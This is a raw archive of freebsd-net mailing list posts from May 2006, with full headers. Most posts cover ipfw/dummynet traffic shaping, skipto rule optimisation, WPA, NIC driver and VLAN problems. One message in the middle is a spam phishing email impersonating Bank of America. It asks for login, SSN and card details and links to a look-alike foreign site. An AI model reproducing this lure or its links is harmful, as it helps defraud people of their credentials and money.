a hash, though a bit small: #define HASHSIZE 16 #define HASH(num) ((((num) >> 8) ^ ((num) >> 4) ^ (num)) & 0x0f) static __inline struct dn_pipe * locate_pipe(int pipe_nr) { struct dn_pipe *pipe; SLIST_FOREACH(pipe, &pipehash[HASH(pipe_nr)], next) if (pipe->pipe_nr == pipe_nr) return (pipe); return (NULL); } Look at increasing HASHSIZE and changing the hash function... > >Julian Elischer wrote: > > > >>tpeixoto@widesoft.com.br wrote: > >> > >>>Hello. > >>>I think I should give some 'real world' examples. > >>> > >>> > >>>/etc/rc.firewall: > >>> > >>>[Ss][Hh][Aa][Pp][Ee][Rr]) > >>>setup_loopback > >>> > >>>. /etc/rc.shaper > >>> > >>>${fwcmd} add 65000 pass all from any to any > >>>;; > >>> > >>> > >>>/etc/rc.shaper: > >>> > >>>${fwcmd} pipe 1 config bw 512Kbit/s > >>>${fwcmd} pipe 2 config bw 512Kbit/s > >>>${fwcmd} add pipe 1 all from any to any MAC any 00:11:22:33:44:55 in > >>>${fwcmd} add pipe 2 all from any to any MAC 00:11:22:33:44:55 any out > >>>${fwcmd} pipe 3 config bw 256Kbit/s > >>>${fwcmd} pipe 4 config bw 256Kbit/s > >>>${fwcmd} add pipe 3 all from any to any MAC any 66:77:88:99:aa:bb in > >>>${fwcmd} add pipe 4 all from any to any MAC 66:77:88:99:aa:bb any out > >>>${fwcmd} pipe 5 config bw 128Kbit/s > >>>${fwcmd} pipe 6 config bw 128Kbit/s > >>>${fwcmd} add pipe 5 all from any to any MAC any 00:01:02:03:04:05 in > >>>${fwcmd} add pipe 6 all from any to any MAC 00:01:02:03:04:05 any out > >>>${fwcmd} pipe 7 config bw 512Kbit/s > >>>${fwcmd} pipe 8 config bw 1024Kbit/s > >>>${fwcmd} add pipe 7 all from any to any MAC any 06:07:08:09:0a:0b in > >>>${fwcmd} add pipe 8 all from any to any MAC 06:07:08:09:0a:0b any out > >>>${fwcmd} pipe 9 config bw 64Kbit/s > >>>${fwcmd} pipe 10 config bw 64Kbit/s > >>>${fwcmd} add pipe 9 all from any to any MAC any ab:cd:ef:00:11:22 in > >>>${fwcmd} add pipe 10 all from any to any MAC ab:cd:ef:00:11:22 any out > >>> > >>> > >>OK, so, put the MACs in numerical order: > >> > >>00:01:02:03:04:05 > >>00:11:22:33:44:55 > >>06:07:08:09:0a:0b > >>66:77:88:99:aa:bb > >>ab:cd:ef:00:11:22 > >> > >> > >>work out MASKS that divide them into a binary set. > >> > >>e.g. > >>1 skipto 10 all from any to not MAC 00:00:00:00:00:00/8 > >>2 skipto 5 all from any to not MAC 00:01:00:00:00:00/16 > >>3 pipe 1 ip from any to any > >>5 pipe 2 ip from any to any > >> > >>10 skipto 12 all from any to not MAC 06:00:00:00:00:00/8 > >>11 pipe 3 all from any to any > >>12 skipto 14 all from any to not MAC 66:00:00:00:00:00/8 > >>13 pipe 4 all from any to any > >>14 pipe 5 all from any to any > >> > >>now, if you continue this on, you will run 16 rules to divide the > >>1600 rules up to find the right pipe. > >> > > > >I got your point. > >But what I am telling is that it's not the search or it's not _only_ > >the search in the firewall rules that is making the interrupts go high. > >Please, see below. > > > > > >>> > >>>This example is for 5 clients. We have 1600. > >>>As you can see, there are 2 rules and 2 pipes per host, not 1600. > >>> > >>> > >>>If we try rc.firewall like this... > >>> > >>>setup_loopback > >>>${fwcmd} add 65000 pass all from any to any > >>> > >>>... we are ok. Interrupts are low. > >>> > >>>So, following your line of thought, I tried a simple test... > >>> > >>>setup_loopback > >>>${fwcmd} skipto 65000 ip from any to any MAC any any > >>>. /etc/rc.shaper > >>>${fwcmd} add 65000 pass all from any to any > >>> > >>>This way, the packets will never pass through shaper rules, but > >>>interrupts > >>>still get very high. > >>> > >>> > >> > >>I don't see how that proves anything > >> > > > >See, if we have just 4 rules in the kernel (3 from setup_loopback + > >allow any to any), we don't have problems with interrupts. They are > >low, about 15~20% with the same traffic. > >But, if we have a 'full' set of rules, let's say 3205 (3 from > >setup_loopback + skipto 65000 + 3200 pipes + allow any to any), where > >only 5 of them are being matched (setup_loopback, 'skipto 65000' and > >'allow any to any' - the skipto 65000 rule prevents any packet to > >search through my 3200 pipes, right?), we still see interrupts go to > >70~90%. > >So, what I am saying is that even if we use skipto rules to create > >'shortcuts' in the firewall stack, the system still uses lots of > >interrupts. It seems that no matter whether the packets are being > >checked against the rules or not, as long there are so many rules, the > >interrupts will be generated. > > > >Let me know if you got my point. > >I'll do some more tests reducing the number of pipes while keeping the > >same amount of rules to see whether this has some effect in the > >interrupts. > > > >BTW: I tested your other suggestion about splitting 'in' and 'out' > >rules but it made no difference regarding system interrupts. > > > >Thanks again! > > > > > >>>Basically, we need a solution to shape each MAC address with its > >>>specifics > >>>download e upload speeds. > >>>Given the tests, I don't see how skipto can help, but if you believe > >>>that > >>>tablearg (which I am not familiar with) might help, we can try it with > >>>7.x. > >>> > >>> > >> > >>Tablearg only works with IP addresses. > >> > >>>Thanks. > >>> > >>> > >>> > >>> > >>>>oops, forgot to fix my cut-n- pastes.. corrected triage below.. > >>>> > >>>> > >>>>Julian Elischer wrote: > >>>> > >>>> > >>>> > >>>>>Julian Elischer wrote: > >>>>> > >>>>> > >>>>> > >>>>>>tpeixoto@widesoft.com.br wrote: > >>>>>> > >>>>>> > >>>>>> > >>>>>>>>That would do it.. > >>>>>>>> > >>>>>>>>In all versions of FreeBSD > >>>>>>>>you can use the skipto rule to make sure that only a few rules are > >>>>>>>>run for any > >>>>>>>>address. Use it to to a binary search for the right pipe.' > >>>>>>>>carefully using 'skipto' and 'table' can make it efficient to do > >>>>>>>>very complex > >>>>>>>>filters like that. > >>>>>>>> > >>>>>>>> > >>>>>>> > >>>>>>>Sorry, but I didn't realized how to use that as we have to shape > >>>>>>>each user individually, i.e., each MAC address on the LAN has its > >>>>>>>own download and upload speeds. > >>>>>>> > >>>>>>>Could you clarify how to improve the situation with the tools you > >>>>>>>mentioned? > >>>>>>> > >>>>>> > >>>>>> > >>>>>> > >>>>>> > >>>>>>Assuming you can not use "tablearg" yet (it will make this REALLY > >>>>>>EASY) > >>>>>>then if you have 30 IPs you want to shape from 1.1.1.1 to 1.1.1.30 > >>>>>> > >>>>> > >>>>> > >>>>> > >>>>>then, consider the following example using IP addresses. > >>>>> > >>>>> > >>>>> > >>>>>> > >>>>>> > >>>>> > >>>>>ipfw add 1000 skipto 1110 ip from any to 1.1.1.16/28 > >>>>>ipfw add 1010 skipto 1032 ip from any to 1.1.1.8/29 > >>>>>ipfw add 1012 skipto 1021 ip from any to 1.1.1.4./30 > >>>>> ipfw add 1013 [anything] ip from any to 1.1.1.0 > >>>>> ipfw add 1014 [anything] ip from any to 1.1.1.1 > >>>>>ipfw add 1015 [anything] ip from any to 1.1.1.2 > >>>>>ipfw add 1016 [anything] ip from any to 1.1.1.3 > >>>>> > >>>>> > >>>>>ipfw add 1021 anything] ip from any to 1.1.1.4 > >>>>>ipfw add 1022 [anything] ip from any to 1.1.1.5 > >>>>>ipfw add 1023 [anything] ip from any to 1.1.1.6 > >>>>>ipfw add 1024 [anything] ip from any to 1.1.1.7 > >>>>> > >>>>> > >>>>>ipfw add 1032 skipto 1051 ip from any to 1.1.1.12./30 > >>>>> > >>>>>ipfw add 1040 [anything] ip from any to 1.1.1.8 > >>>>>ipfw add 1041 [anything] ip from any to 1.1.1.9 > >>>>>ipfw add 1042 [anything] ip from any to 1.1.1.10 > >>>>>ipfw add 1043 [anything] ip from any to 1.1.1.11 > >>>>> > >>>>> > >>>>>ipfw add 1051 [anything] ip from any to 1.1.1.12 > >>>>>ipfw add 1052 [anything] ip from any to 1.1.1.13 > >>>>>ipfw add 1053 [anything] ip from any to 1.1.1.14 > >>>>>ipfw add 1054 [anything] ip from any to 1.1.1.15 > >>>>> > >>>>> > >>>>>ipfw add 1110 skipto 1132 ip from any to 1.1.1.24/29 > >>>>>ipfw add 1112 skipto 1121 ip from any to 1.1.1.20./30 > >>>>>ipfw add 1113 [anything] ip from any to 1.1.1.16 > >>>>>ipfw add 1114 [anything] ip from any to 1.1.1.17 > >>>>>ipfw add 1115 [anything] ip from any to 1.1.1.18 > >>>>> ipfw add 1116 [anything] ip from any to 1.1.1.19 > >>>>> ipfw add 1121 anything] ip from any to 1.1.1.20 > >>>>>ipfw add 1122 [anything] ip from any to 1.1.1.21 > >>>>>ipfw add 1123 [anything] ip from any to 1.1.1.22 > >>>>>ipfw add 1124 [anything] ip from any to 1.1.1.23 > >>>>> > >>>>> > >>>>>ipfw add 1132 skipto 1151 ip from any to 1.1.1.28./30 > >>>>> > >>>>>ipfw add 1140 [anything] ip from any to 1.1.1.24 > >>>>>ipfw add 1141 [anything] ip from any to 1.1.1.25 > >>>>>ipfw add 1142 [anything] ip from any to 1.1.1.26 > >>>>>ipfw add 1143 [anything] ip from any to 1.1.1.27 > >>>>> > >>>>> > >>>>>ipfw add 1151 [anything] ip from any to 1.1.1.28 > >>>>>ipfw add 1152 [anything] ip from any to 1.1.1.29 > >>>>>ipfw add 1153 [anything] ip from any to 1.1.1.30 > >>>>>ipfw add 1154 [anything] ip from any to 1.1.1.31 > >>>>> > >>>>> > >>>>> > >>>>> > >>>>> > >>>>>now this example shows a binary search in IP space, written > >>>>>(including > >>>>>bugs) by hand > >>>>>but if you are willing to write a suitable perl script, you can > >>>>>generate a binary search in MAC address space > >>>>>just as easily. just sort them into order and search.. > >>>>> > >>>>>I'm not going to try it by had, but for 1600 hosts you should only > >>>>>need to go through > >>>>>15 rules per host on average, instead of 1600 rules per host. > >>>>>that should cut down your ipfw cpu usage by 1/100 > >>>>> > >>>>> > >>>>> > >>>>> > >>>>> > >>>>>>freebsd.org" > >>>>>> > >>>>> > >>> > >>> > >>> > >> > _______________________________________________ > freebsd-net@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-net > To unsubscribe, send any mail to "freebsd-net-unsubscribe@freebsd.org" -- John-Mark Gurney Voice: +1 415 225 5579 "All that I will do, has been done, All that I have, has not." From owner-freebsd-net@FreeBSD.ORG Wed May 3 01:25:57 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 37FA916A401 for ; Wed, 3 May 2006 01:25:57 +0000 (UTC) (envelope-from doconnor@gsoft.com.au) Received: from cain.gsoft.com.au (cain.gsoft.com.au [203.31.81.10]) by mx1.FreeBSD.org (Postfix) with ESMTP id A6FF343D46 for ; Wed, 3 May 2006 01:25:54 +0000 (GMT) (envelope-from doconnor@gsoft.com.au) Received: from inchoate.gsoft.com.au (ppp212-63.lns1.adl2.internode.on.net [203.122.212.63]) (authenticated bits=0) by cain.gsoft.com.au (8.13.5/8.13.4) with ESMTP id k431PjxS044983 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 3 May 2006 10:55:49 +0930 (CST) (envelope-from doconnor@gsoft.com.au) From: "Daniel O'Connor" To: freebsd-net@freebsd.org Date: Wed, 3 May 2006 10:55:36 +0930 User-Agent: KMail/1.9.1 MIME-Version: 1.0 Content-Type: multipart/signed; boundary="nextPart2630929.cJDfRntrg4"; protocol="application/pgp-signature"; micalg=pgp-sha1 Content-Transfer-Encoding: 7bit Message-Id: <200605031055.37175.doconnor@gsoft.com.au> X-Spam-Score: 0 () X-Scanned-By: MIMEDefang 2.56 on 203.31.81.10 Subject: ath, OpenWRT, WPA-EAP and Radius X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 May 2006 01:25:57 -0000 --nextPart2630929.cJDfRntrg4 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Hi, I am trying to use a WRT54G with OpenWRT to do WPA with Radius auth, but I'= m=20 not having much luck.. I have WPA-PSK going fine but when I try WPA-EAP it appears to associate OK= =20 but no traffic passes.. I already sent a long message to the OpenWRT forums=20 http://forum.openwrt.org/viewtopic.php?id=3D5541 but I thought I'd post her= e=20 just in case anyone has suggestions.. Any help much appreciated! PS please CC me as I'm not subscribed to -net. =2D-=20 Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum GPG Fingerprint - 5596 B766 97C0 0E94 4347 295E E593 DC20 7B3F CE8C --nextPart2630929.cJDfRntrg4 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2.2 (FreeBSD) iD8DBQBEWAaR5ZPcIHs/zowRAv1MAKCdGPxAngHaQs+WAUL95DTOYvHC/wCfXDfm ThKXHt++98JEfVVLKcv8Hj0= =/3wz -----END PGP SIGNATURE----- --nextPart2630929.cJDfRntrg4-- From owner-freebsd-net@FreeBSD.ORG Wed May 3 03:44:02 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2017316A408 for ; Wed, 3 May 2006 03:44:02 +0000 (UTC) (envelope-from frank@exit.com) Received: from tinker.exit.com (tinker.exit.com [206.223.0.1]) by mx1.FreeBSD.org (Postfix) with ESMTP id 88DDF43D48 for ; Wed, 3 May 2006 03:44:01 +0000 (GMT) (envelope-from frank@exit.com) Received: from wili.exit.com (wili.exit.com [206.223.0.194]) by tinker.exit.com (8.13.4/8.13.4) with ESMTP id k433i1Rn030128 for ; Tue, 2 May 2006 20:44:01 -0700 (PDT) (envelope-from frank@exit.com) Received: from wili.exit.com (localhost [127.0.0.1]) by wili.exit.com (8.13.4/8.13.4) with ESMTP id k433bVr0069265 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 2 May 2006 20:37:32 -0700 (PDT) (envelope-from frank@exit.com) Received: (from www@localhost) by wili.exit.com (8.13.4/8.13.4/Submit) id k433bVb3069264; Tue, 2 May 2006 20:37:31 -0700 (PDT) (envelope-from frank@exit.com) X-Authentication-Warning: wili.exit.com: www set sender to frank@exit.com using -f Received: from 206.223.0.35 (SquirrelMail authenticated user frank) by www.exit.com with HTTP; Tue, 2 May 2006 20:37:31 -0700 (PDT) Message-ID: <55164.206.223.0.35.1146627451.squirrel@www.exit.com> Date: Tue, 2 May 2006 20:37:31 -0700 (PDT) From: frank@exit.com To: freebsd-net@freebsd.org User-Agent: SquirrelMail/1.4.6 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-Virus-Scanned: ClamAV 0.88/1436/Tue May 2 10:41:37 2006 on tinker.exit.com X-Virus-Status: Clean Subject: AMD 760 chipset/BCM5700 interaction. X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 May 2006 03:44:02 -0000 I just replaced a flakey Intel gigabit nic with a BCM5700-based 3Com nic, thinking that would work better. Silly me. It seems there's a nasty interaction between the chipset and the nic, which 3Com solved with a driver release. From the Tyan site: # Why can't I browse Network Neighborhood with my 3Com 3C996 Gigabit Ethernet Adapter? This is a driver issue with the 3c996 Gigabit Ethernet card and the AMD chipset. 3Com has released drivers to resolve this issue. The drivers are dated 12-18-01 & can be downloaded from [...] So does anyone know the details of this interaction. Might there be a fix anywhere? Or should I just bite the bullet and get a newer Intel board? -- Frank Mayhar frank@exit.com http://www.exit.com/ Exit Consulting http://www.gpsclock.com/ http://www.exit.com/blog/frank/ From owner-freebsd-net@FreeBSD.ORG Wed May 3 05:35:17 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A3BD216A400 for ; Wed, 3 May 2006 05:35:17 +0000 (UTC) (envelope-from httpd@vds003.din.or.jp) Received: from vds003.din.or.jp (vds003.din.or.jp [210.135.89.102]) by mx1.FreeBSD.org (Postfix) with ESMTP id AE30C43D45 for ; Wed, 3 May 2006 05:35:15 +0000 (GMT) (envelope-from httpd@vds003.din.or.jp) Received: (from httpd@localhost) by vds003.din.or.jp (8.10.2/8.10.2) id k435ZBh12928; Wed, 3 May 2006 14:35:11 +0900 Date: Wed, 3 May 2006 14:35:11 +0900 Message-Id: <200605030535.k435ZBh12928@vds003.din.or.jp> To: freebsd-net@freebsd.org From: Bank of America Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Content-Type: text/plain X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: Bank of America Alert: Update your account information X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: onlinebanking@alert.bankofamerica.com List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 May 2006 05:35:17 -0000 [mhd_reg_logo.gif] Security Update Notification Dear Valued Customer : As part of our security measures, we regularly screen activity in the Bank of America Online Bank system. We recently contacted you after noticing an issue on your account.We requested information from you for the following reason: Our system requires further account verification To restore your account, please [1]click here. Your account might be place on restricted status. Restricted accounts continue to receive payments, but they are limited in their ability to send or withdraw funds. To lift up this restriction, you need to login into your account (with your username or SSN and your password), then you have to complete our verification process. You must confirm your credit card details and your billing information as well. All restricted accounts have their billing information unconfirmed, meaning that you may no longer send money from your account until you have reactive your billing information on file. [2]Sign in to Online Banking Thank You. _________________________________________________________________ Because your reply will not be transmitted via secure e-mail, the e-mail address that generated this alert will not accept replies. If you would like to contact Bank of America with questions or comments, please [3]sign in to Online Banking and visit the customer service section. Bank of America, N.A. Member FDIC. Equal Housing Lender Equal Housing Lender ©2005 Bank of America Corporation. All rights reserved. [4]Bank of America Higher Standards [5][foot_olympic.gif] References 1. http://pristavkin.ru/systeb/bankofamerica/update%20BOA/bankofamerica/bankofamerica/online_bofa_banking/e-online-banking/ 2. http://pristavkin.ru/systeb/bankofamerica/update%20BOA/bankofamerica/bankofamerica/online_bofa_banking/e-online-banking/ 3. http://pristavkin.ru/systeb/bankofamerica/update%20BOA/bankofamerica/bankofamerica/online_bofa_banking/e-online-banking/ 4. http://www.bankofamerica.com/ 5. file://localhost/tmp/Drag%20to%20a%20file%20to%20make%20a%20link. From owner-freebsd-net@FreeBSD.ORG Wed May 3 07:02:59 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0472216A401; Wed, 3 May 2006 07:02:59 +0000 (UTC) (envelope-from _pppp@mail.ru) Received: from f40.mail.ru (f40.mail.ru [194.67.57.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6894D43D53; Wed, 3 May 2006 07:02:58 +0000 (GMT) (envelope-from _pppp@mail.ru) Received: from mail by f40.mail.ru with local id 1FbBNv-000Ejo-00; Wed, 03 May 2006 11:02:55 +0400 Received: from [83.237.12.78] by koi.mail.ru with HTTP; Wed, 03 May 2006 11:02:55 +0400 From: dima <_pppp@mail.ru> To: Max Laier Mime-Version: 1.0 X-Mailer: mPOP Web-Mail 2.19 X-Originating-IP: [83.237.12.78] Date: Wed, 03 May 2006 11:02:55 +0400 In-Reply-To: <200604201938.45890.max@love2party.net> Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 8bit Message-Id: Cc: freebsd-net@freebsd.org, Darren Pilgrim , Hajimu UMEMOTO , Sergey Matveychuk Subject: Re[2]: New version of iwi(4) - Call for testers [regression!] X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: dima <_pppp@mail.ru> List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 May 2006 07:02:59 -0000 Well, the recent commit to CURRENT is much better than the previous patches against STABLE. It associates in almost 100% of my attempts. I can't run "cvsup test" to admit the original problem is really resolved. I can associate, but AP just doesn't pass my traffic since some point in RELENG_6. I can connect to other host on the LAN, but can't connect to either AP or Internet. I can spend some time to install RELENG_6_0 (my card worked with it) since my AP settings didn't change. Anyone experiencing the same issue? From owner-freebsd-net@FreeBSD.ORG Wed May 3 08:08:38 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 27FDE16A400 for ; Wed, 3 May 2006 08:08:38 +0000 (UTC) (envelope-from babolo@cicuta.babolo.ru) Received: from ints.mail.pike.ru (ints.mail.pike.ru [85.30.199.194]) by mx1.FreeBSD.org (Postfix) with ESMTP id 735DD43D45 for ; Wed, 3 May 2006 08:08:37 +0000 (GMT) (envelope-from babolo@cicuta.babolo.ru) Received: (qmail 68882 invoked from network); 3 May 2006 08:08:35 -0000 Received: from cicuta.babolo.ru (85.30.224.245) by ints.mail.pike.ru with SMTP; 3 May 2006 08:08:35 -0000 Received: (nullmailer pid 80587 invoked by uid 136); Wed, 03 May 2006 08:16:58 -0000 X-ELM-OSV: (Our standard violations) hdr-charset=KOI8-R; no-hdr-encoding=1 In-Reply-To: <44565E41.2080905@netvulture.com> To: Jonathan Feally Date: Wed, 3 May 2006 12:16:58 +0400 (MSD) From: .@babolo.ru X-Mailer: ELM [version 2.4ME+ PL99b (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII Message-Id: <1146644218.976446.80586.nullmailer@cicuta.babolo.ru> Cc: freebsd-net@freebsd.org Subject: Re: Having a problem with getting ipfw fwd to work with vlans and bge - 6.1-RC1 amd64 X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 May 2006 08:08:38 -0000 [ Charset ISO-8859-1 unsupported, converting... ] > Hello, > I have setup a new firewall and I'm having trouble with it. Perhaps the > bge is to blame, perhaps its something else. > I'll explain my setup, problem and the workaround to get it going. > > Box connects to 2 Internal Lans and 2 External Wans. > > Vlans are mixed untagged and tagged on a single bge0 > > Vlan Network Desc > 1 10.255.1.0/24 Admin Lan - No Vlan Tagging > 2 10.255.2.0/24 VoIP Lan > 900 67.xxx.xxx.128/27 Internet A - Default Route - Going to be pure > VoIP only - thus 10.255.2 boxes get 1:1 NAT to 67.xxx.xxx > 902 208.xxx.xxx.48/28 Internet B - Web Services > > 1st problem I ran into was pings from vlan 2 through natd to vlan 900 > were not coming back. I could see the packet enter vlan2 - leave and > return on vlan900 - but go nowhere. I tried a tcpdump on bge0 and the > pings started coming back. Leading me to putting promisc on my ifconfig bge0 > > Now I'm trying to setup up a simple web server on an IP from vlan 902 in > combination with fwd rule # 999 to route packets from a vlan902 address > back to the router on that internet connection. I try to ping from the > outside and can see the icmp echo request. But the replies keep getting > sent out vlan900 to the other internet router. > > Hopefully somebody can point me in the right direction. If its the bge, > then I can replace it with some em. If its an issue with mixing native > vlan and tagged, I can tag everything, If its not me, then who can help > getting the code fixed? > > I have put my ifconfig, ipfw rules and natd.conf's below. Don't know about FreeBSD 6, in FreeBSD 4 you need mtu = 1504 for mtu = 1500 on vlans to work. This is reason not to use mix tagged/utagged on one bge. > Thanks -Jon > > --------------------------------------------------------- > > [root@t3031fw ~]# ifconfig -a > bge0: flags=28943 mtu 1500 > options=18 > inet6 fe80::215:f2ff:fed0:d898%bge0 prefixlen 64 scopeid 0x1 > inet 10.255.1.254 netmask 0xffffff00 broadcast 10.255.1.255 > ether 00:15:f2:d0:d8:98 > media: Ethernet autoselect (100baseTX ) > status: active > bge1: flags=8802 mtu 1500 > options=1b > ether 00:15:f2:40:d8:35 > media: Ethernet autoselect (none) > status: no carrier > plip0: flags=108810 mtu 1500 > lo0: flags=8049 mtu 16384 > inet6 ::1 prefixlen 128 > inet6 fe80::1%lo0 prefixlen 64 scopeid 0x4 > inet 127.0.0.1 netmask 0xff000000 > vlan2: flags=8843 mtu 1500 > inet6 fe80::215:f2ff:fed0:d898%vlan2 prefixlen 64 scopeid 0x5 > inet 10.255.2.1 netmask 0xffffff00 broadcast 10.255.2.255 > ether 00:15:f2:d0:d8:98 > media: Ethernet autoselect (100baseTX ) > status: active > vlan: 2 parent interface: bge0 > vlan900: flags=8843 mtu 1500 ... > ether 00:15:f2:d0:d8:98 > media: Ethernet autoselect (100baseTX ) > status: active > vlan: 900 parent interface: bge0 > vlan902: flags=8843 mtu 1500 > inet6 fe80::215:f2ff:fed0:d898%vlan902 prefixlen 64 scopeid 0x7 ... > ether 00:15:f2:d0:d8:98 > media: Ethernet autoselect (100baseTX ) > status: active > vlan: 902 parent interface: bge0 From owner-freebsd-net@FreeBSD.ORG Wed May 3 08:33:20 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E997516A400 for ; Wed, 3 May 2006 08:33:20 +0000 (UTC) (envelope-from babolo@cicuta.babolo.ru) Received: from ints.mail.pike.ru (ints.mail.pike.ru [85.30.199.194]) by mx1.FreeBSD.org (Postfix) with ESMTP id BBC7A43D48 for ; Wed, 3 May 2006 08:33:19 +0000 (GMT) (envelope-from babolo@cicuta.babolo.ru) Received: (qmail 49066 invoked from network); 3 May 2006 08:33:18 -0000 Received: from cicuta.babolo.ru (85.30.224.245) by ints.mail.pike.ru with SMTP; 3 May 2006 08:33:18 -0000 Received: (nullmailer pid 80692 invoked by uid 136); Wed, 03 May 2006 08:41:42 -0000 X-ELM-OSV: (Our standard violations) hdr-charset=KOI8-R; no-hdr-encoding=1 In-Reply-To: <4457F905.4050503@widesoft.com.br> To: tpeixoto@widesoft.com.br Date: Wed, 3 May 2006 12:41:42 +0400 (MSD) From: .@babolo.ru X-Mailer: ELM [version 2.4ME+ PL99b (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII Message-Id: <1146645702.297895.80691.nullmailer@cicuta.babolo.ru> Cc: Lee Johnston , freebsd-net@freebsd.org, Julian Elischer , mihai@duras.ro Subject: Re: Packet loss with traffic shaper and routing X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 May 2006 08:33:21 -0000 > Julian Elischer wrote: > > tpeixoto@widesoft.com.br wrote: > >> I think I should give some 'real world' examples. > >> > >> /etc/rc.firewall: > >> > >> [Ss][Hh][Aa][Pp][Ee][Rr]) > >> setup_loopback > >> > >> . /etc/rc.shaper > >> > >> ${fwcmd} add 65000 pass all from any to any > >> ;; > >> > >> > >> /etc/rc.shaper: > >> > >> ${fwcmd} pipe 1 config bw 512Kbit/s > >> ${fwcmd} pipe 2 config bw 512Kbit/s > >> ${fwcmd} add pipe 1 all from any to any MAC any 00:11:22:33:44:55 in > >> ${fwcmd} add pipe 2 all from any to any MAC 00:11:22:33:44:55 any out > >> ${fwcmd} pipe 3 config bw 256Kbit/s > >> ${fwcmd} pipe 4 config bw 256Kbit/s > >> ${fwcmd} add pipe 3 all from any to any MAC any 66:77:88:99:aa:bb in > >> ${fwcmd} add pipe 4 all from any to any MAC 66:77:88:99:aa:bb any out > >> ${fwcmd} pipe 5 config bw 128Kbit/s > >> ${fwcmd} pipe 6 config bw 128Kbit/s > >> ${fwcmd} add pipe 5 all from any to any MAC any 00:01:02:03:04:05 in > >> ${fwcmd} add pipe 6 all from any to any MAC 00:01:02:03:04:05 any out > >> ${fwcmd} pipe 7 config bw 512Kbit/s > >> ${fwcmd} pipe 8 config bw 1024Kbit/s > >> ${fwcmd} add pipe 7 all from any to any MAC any 06:07:08:09:0a:0b in > >> ${fwcmd} add pipe 8 all from any to any MAC 06:07:08:09:0a:0b any out > >> ${fwcmd} pipe 9 config bw 64Kbit/s > >> ${fwcmd} pipe 10 config bw 64Kbit/s > >> ${fwcmd} add pipe 9 all from any to any MAC any ab:cd:ef:00:11:22 in > >> ${fwcmd} add pipe 10 all from any to any MAC ab:cd:ef:00:11:22 any out > >> > > OK, so, put the MACs in numerical order: > > > > 00:01:02:03:04:05 > > 00:11:22:33:44:55 > > 06:07:08:09:0a:0b > > 66:77:88:99:aa:bb > > ab:cd:ef:00:11:22 > > > > work out MASKS that divide them into a binary set. > > > > e.g. > > 1 skipto 10 all from any to not MAC 00:00:00:00:00:00/8 > > 2 skipto 5 all from any to not MAC 00:01:00:00:00:00/16 > > 3 pipe 1 ip from any to any > > 5 pipe 2 ip from any to any > > > > 10 skipto 12 all from any to not MAC 06:00:00:00:00:00/8 > > 11 pipe 3 all from any to any > > 12 skipto 14 all from any to not MAC 66:00:00:00:00:00/8 > > 13 pipe 4 all from any to any > > 14 pipe 5 all from any to any > > > > now, if you continue this on, you will run 16 rules to divide the 1600 > > rules up to find the right pipe. > > I got your point. > But what I am telling is that it's not the search or it's not _only_ the > search in the firewall rules that is making the interrupts go high. > Please, see below. In your example each packet walk through the rule set 4 times 1 mac input - abount half a 